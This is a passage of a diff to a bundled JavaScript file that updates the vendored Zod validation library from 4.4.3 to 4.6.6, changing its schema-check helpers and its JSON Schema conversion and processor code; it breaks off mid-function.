checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -65747,6 +69933,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -65763,23 +69957,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -65946,7 +70140,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -66019,7 +70213,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -66084,8 +70279,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -66104,8 +70299,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -66113,13 +70308,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -66133,7 +70330,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -66150,12 +70357,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -66169,6 +70389,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -66192,13 +70414,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -66209,10 +70431,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -66234,15 +70461,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -66294,10 +70521,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -66319,9 +70655,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -66365,8 +70701,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -66384,19 +70748,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -66439,7 +70807,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -66480,19 +70848,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -66501,10 +70957,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -66513,19 +70974,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -66533,13 +70994,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -66563,21 +71021,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -66588,15 +71054,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -66605,35 +71067,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -66659,10 +71123,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -66674,93 +71136,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -66768,7 +71227,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -66777,7 +71236,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -66789,11 +71248,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -66803,6 +71262,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -66810,19 +71270,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -66830,61 +71306,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = 